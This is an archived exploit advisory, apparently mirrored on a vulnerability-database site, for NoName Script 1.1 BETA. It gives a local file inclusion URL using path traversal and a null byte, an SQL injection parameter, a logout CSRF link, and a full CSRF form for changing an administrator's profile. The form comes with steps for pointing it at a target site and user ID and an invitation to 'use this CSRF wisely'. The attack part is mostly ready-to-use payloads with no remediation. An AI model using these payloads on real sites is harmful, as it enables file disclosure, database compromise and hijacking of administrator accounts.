Lucene search
K

noname script <= 1.1 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 31 Views

Noname Script 1.1 BETA Multiple Remote Vulnerabilities discovered by SirGod can lead to Local File Inclusion, SQL Injection, and Cross Site Request Forgery issues. CSRF allows changing the admin user profile via crafted form action and input values

Code

                                                ################################################################################
[+] NoName Script 1.1 BETA Multiple Remote Vulnerabilities  
[+] Discovered By SirGod                         
[+] www.mortal-team.org                         
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
#################################################################################

[+] Local File Inclusion

     http://localhost/index.php?action=../../../autoexec.bat%00&kategorie=Tutorial
     
    This will open autoexec.bat .

[+] SQL Injection   

     http://localhost/index.php?action=newsadmindel&file_id=[SQL]
     
[+] Cross Site Request Forgery     

     If an logged in user with administrative permisions will click the following link ,he will be logged out.

     http://localhost/logout.php

[+] Cross Site Request Forgery - Change User Profile

    If an logged in user with administrative permisions will click the following link the following action will be executed.

    What to change :
   
    - form action and profil_id : &#60;form action=&#34;http://localhost/index.php?action=editsettings&profil_id=67&#34; method=&#34;post&#34; ....etc &#62;
       action : change http://localhost with the website link.
       profil_id : id of the user that you want to change settings for it
    - input value : &#60;td&#62;&#60;input name=&#34;edit_benutzername&#34; disabled=&#34;disabled&#34; value=&#34;Sirgod&#34; type=&#34;text&#34;&#62;&#60;/td&#62;
       value : your name (corresponding to ID)
      
    And now edit the other settings change via web browser.After that,use this CSRF wisely.

[+] Here is the HTML code :   

&#60;form action=&#34;http://localhost/index.php?action=editsettings&profil_id=67&#34; method=&#34;post&#34; name=&#34;editsettings&#34; id=&#34;editsettings&#34;&#62;
        &#60;input name=&#34;sent&#34; value=&#34;1&#34; type=&#34;hidden&#34;&#62;

    &#60;center&#62;&#60;table border=&#34;0&#34; cellpadding=&#34;3&#34; cellspacing=&#34;0&#34;&#62;
        &#60;tbody&#62;&#60;tr&#62;
            &#60;td colspan=&#34;2&#34; style=&#34;font-weight: bold;&#34;&#62;
                Benutzerinformationen
            &#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;Benutzername:&nbsp;&#60;/td&#62;
            &#60;td&#62;&#60;input name=&#34;edit_benutzername&#34; disabled=&#34;disabled&#34; value=&#34;Sirgod&#34; type=&#34;text&#34;&#62;&#60;/td&#62;

        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;Benutzergruppe:&nbsp;&#60;/td&#62;
            &#60;td&#62;
                                &#60;select name=&#34;edit_benutzergruppe&#34; size=&#34;1&#34;&#62;
                                                &#60;option value=&#34;0&#34;&#62;User&#60;/option&#62;
                            &#60;option value=&#34;1&#34;&#62;Premium Member&#60;/option&#62;

                            &#60;option value=&#34;2&#34;&#62;Deleter&#60;/option&#62;
                            &#60;option value=&#34;3&#34;&#62;Moderator&#60;/option&#62;
                            &#60;option value=&#34;4&#34; selected=&#34;selected&#34;&#62;Administrator&#60;/option&#62;
                                            &#60;/select&#62;
            &#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td colspan=&#34;2&#34;&#62;&#60;hr&#62;&#60;/td&#62;

        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td colspan=&#34;2&#34; style=&#34;font-weight: bold;&#34;&#62;
                Zusätzliche Informationen
            &#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;Geschlecht:&nbsp;&#60;/td&#62;
            &#60;td&#62;

                &#60;select name=&#34;edit_geschlecht&#34; size=&#34;1&#34;&#62;
                                                &#60;option value=&#34;&#34;&#62;keine Angabe&#60;/option&#62;
                            &#60;option value=&#34;m&#34; selected=&#34;selected&#34;&#62;männlich&#60;/option&#62;
                            &#60;option value=&#34;w&#34;&#62;weiblich&#60;/option&#62;
                                            &#60;/select&#62;
            &#60;/td&#62;
        &#60;/tr&#62;

        &#60;tr&#62;
            &#60;td&#62;Geburtstag:&nbsp;&#60;/td&#62;
            &#60;td&#62;
                &#60;select name=&#34;edit_gb_tag&#34; size=&#34;1&#34;&#62;
                    &#60;option value=&#34;&#34;&#62;&nbsp;&#60;/option&#62;
                    &#60;option value=&#34;1&#34;&#62;1&#60;/option&#62;&#60;option value=&#34;2&#34;&#62;2&#60;/option&#62;&#60;option value=&#34;3&#34;

selected=&#34;selected&#34;&#62;3&#60;/option&#62;&#60;option value=&#34;4&#34;&#62;4&#60;/option&#62;&#60;option value=&#34;5&#34;&#62;5&#60;/option&#62;&#60;option

value=&#34;6&#34;&#62;6&#60;/option&#62;&#60;option value=&#34;7&#34;&#62;7&#60;/option&#62;&#60;option value=&#34;8&#34;&#62;8&#60;/option&#62;&#60;option value=&#34;9&#34;&#62;9&#60;/option&#62;&#60;option

value=&#34;10&#34;&#62;10&#60;/option&#62;&#60;option value=&#34;11&#34;&#62;11&#60;/option&#62;&#60;option value=&#34;12&#34;&#62;12&#60;/option&#62;&#60;option

value=&#34;13&#34;&#62;13&#60;/option&#62;&#60;option value=&#34;14&#34;&#62;14&#60;/option&#62;&#60;option value=&#34;15&#34;&#62;15&#60;/option&#62;&#60;option

value=&#34;16&#34;&#62;16&#60;/option&#62;&#60;option value=&#34;17&#34;&#62;17&#60;/option&#62;&#60;option value=&#34;18&#34;&#62;18&#60;/option&#62;&#60;option

value=&#34;19&#34;&#62;19&#60;/option&#62;&#60;option value=&#34;20&#34;&#62;20&#60;/option&#62;&#60;option value=&#34;21&#34;&#62;21&#60;/option&#62;&#60;option

value=&#34;22&#34;&#62;22&#60;/option&#62;&#60;option value=&#34;23&#34;&#62;23&#60;/option&#62;&#60;option value=&#34;24&#34;&#62;24&#60;/option&#62;&#60;option

value=&#34;25&#34;&#62;25&#60;/option&#62;&#60;option value=&#34;26&#34;&#62;26&#60;/option&#62;&#60;option value=&#34;27&#34;&#62;27&#60;/option&#62;&#60;option

value=&#34;28&#34;&#62;28&#60;/option&#62;&#60;option value=&#34;29&#34;&#62;29&#60;/option&#62;&#60;option value=&#34;30&#34;&#62;30&#60;/option&#62;&#60;option value=&#34;31&#34;&#62;31&#60;/option&#62;          

     &#60;/select&#62;

                &#60;select name=&#34;edit_gb_monat&#34; size=&#34;1&#34;&#62;
                    &#60;option value=&#34;&#34;&#62;&nbsp;&#60;/option&#62;
                    &#60;option value=&#34;1&#34;&#62;Januar&#60;/option&#62;&#60;option value=&#34;2&#34;&#62;Februar&#60;/option&#62;&#60;option value=&#34;3&#34;&#62;März&#60;/option&#62;&#60;option

value=&#34;4&#34;&#62;April&#60;/option&#62;&#60;option value=&#34;5&#34;&#62;Mai&#60;/option&#62;&#60;option value=&#34;6&#34;&#62;Juni&#60;/option&#62;&#60;option

value=&#34;7&#34;&#62;Juli&#60;/option&#62;&#60;option value=&#34;8&#34;&#62;August&#60;/option&#62;&#60;option value=&#34;9&#34;&#62;September&#60;/option&#62;&#60;option

value=&#34;10&#34;&#62;Oktober&#60;/option&#62;&#60;option value=&#34;11&#34; selected=&#34;selected&#34;&#62;November&#60;/option&#62;&#60;option

value=&#34;12&#34;&#62;Dezember&#60;/option&#62;                &#60;/select&#62;

                &#60;input name=&#34;edit_gb_jahr&#34; style=&#34;width: 45px;&#34; maxlength=&#34;4&#34; value=&#34;1991&#34; type=&#34;text&#34;&#62;
            &#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td valign=&#34;top&#34;&#62;Benutzertext:&nbsp;&#60;/td&#62;
            &#60;td&#62;&#60;textarea name=&#34;edit_beschreibung&#34; style=&#34;width: 270px; height: 90px;&#34;&#62;Was geht aaaab xD&#60;/textarea&#62;
        &#60;/td&#62;&#60;/tr&#62;
        &#60;tr&#62;

            &#60;td&#62;Homepage:&nbsp;&#60;/td&#62;
            &#60;td&#62;&#60;input name=&#34;edit_homepage&#34; value=&#34;http://paddys.tk&#34; type=&#34;text&#34;&#62;&#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td colspan=&#34;2&#34;&#62;&#60;hr&#62;&#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td colspan=&#34;2&#34; style=&#34;font-weight: bold;&#34;&#62;

                Instant Messaging
            &#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;ICQ-Nummer:&nbsp;&#60;/td&#62;
            &#60;td&#62;&#60;input name=&#34;edit_icq&#34; value=&#34;&#34; type=&#34;text&#34;&#62;&#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;MSN-Name:&nbsp;&#60;/td&#62;

            &#60;td&#62;&#60;input name=&#34;edit_msn&#34; value=&#34;&#34; type=&#34;text&#34;&#62;&#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;AIM-Name:&nbsp;&#60;/td&#62;
            &#60;td&#62;&#60;input name=&#34;edit_yahoo&#34; value=&#34;&#34; type=&#34;text&#34;&#62;&#60;/td&#62;
        &#60;/tr&#62;
                &#60;tr&#62;
            &#60;td colspan=&#34;2&#34;&#62;&#60;hr&#62;&#60;/td&#62;

        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td colspan=&#34;2&#34; style=&#34;font-weight: bold;&#34;&#62;
                Verwarnungen
            &#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;&nbsp;&#60;/td&#62;
            &#60;td&#62;

            Admin wurde noch nicht verwarnt.            &#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;Aktion:&nbsp;&#60;/td&#62;
            &#60;td&#62;
                &#60;a href=&#34;#&#34; onclick=&#34;HelpPopup(&#39;verwarn.php?profil_id=24&#39;);&#34;&#62;Verwarnungen verwalten&#60;/a&#62;
            &#60;/td&#62;

        &#60;/tr&#62;
                &#60;tr&#62;
            &#60;td colspan=&#34;2&#34;&#62;&nbsp;&#60;/td&#62;
        &#60;/tr&#62;
        &#60;tr&#62;
            &#60;td&#62;&nbsp;&#60;/td&#62;
            &#60;td&#62;&#60;input name=&#34;submit&#34; value=&#34;Speichern&#34; type=&#34;submit&#34;&#62;&#60;/td&#62;
        &#60;/tr&#62;

    &#60;/tbody&#62;&#60;/table&#62;&#60;/center&#62;
    &#60;/form&#62;

#################################################################################

# milw0rm.com [2008-08-23]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation